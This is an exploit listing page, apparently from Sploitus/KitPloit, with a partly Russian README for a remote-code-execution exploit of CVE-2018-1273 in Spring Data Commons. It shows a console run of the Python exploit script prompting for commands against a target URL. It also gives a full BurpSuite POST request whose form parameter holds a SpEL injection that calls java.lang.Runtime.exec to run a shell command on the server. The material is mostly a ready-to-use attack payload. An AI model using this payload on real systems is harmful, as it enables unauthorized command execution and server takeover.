Sploitus

Exploit for cve-2018-1273 CVE-2018-1273

kitploit · 2026-08-25

Exploit Code

MARKDOWN59 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAS502N-CVE-2018-1273
# CVE-2018-1273

Spring Data Commons RCE — уязвимость удалённого выполнения команд

## Использование

![](https://assets.kitploit.com/production/public/readmes/27366/db0d55af66c5bbf2d71c4c95c3f64abc93bcc3060ba050d6e9df1ede67562d08.jpg)

root@kitploit:~
    
    
    C:\Users\CTF\Desktop>python cve-2018-1273.py
    
    
      ______   ______    ___  ___ ______     ______ ________
     / ___/ | / / __/___|_  |/ _ <  ( _ )___<  /_  /_  /_  /
    / /__ | |/ / _//___/ __// // / / _  /___/ / __/ / //_ <
    \___/ |___/___/   /____/\___/_/\___/   /_/____//_/____/
    
                     author: jas502n
    
         example: http://10.10.20.166:8080/account
    
    
    
    Set Url: http://10.10.20.166:8080/account
    
    Cmd >>: touch /tmp/jas502n
    
    405, May Have a CVE-2018-1273 vulnerability!
    
    CVE-2018-1273 Vulnerability Exit!
    
    Cmd >>:
    
    

![](https://assets.kitploit.com/production/public/readmes/27366/f694a337a6c950694172e72171c2635afcd933c2c65525d8d54f06552be10b6d.jpg)

## Запрос BurpSuite:

root@kitploit:~
    
    
    POST /account HTTP/1.1
    Host: 10.10.20.166:8080
    Connection: keep-alive
    Accept-Encoding: gzip, deflate
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
    Content-Length: 96
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    cache-control: no-cache
    Cookie: sidebar_collapsed=false
    X-Forwarded-For: 127.0.0.2
    Content-Type: application/x-www-form-urlencoded
    
    name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/jas502n')]=test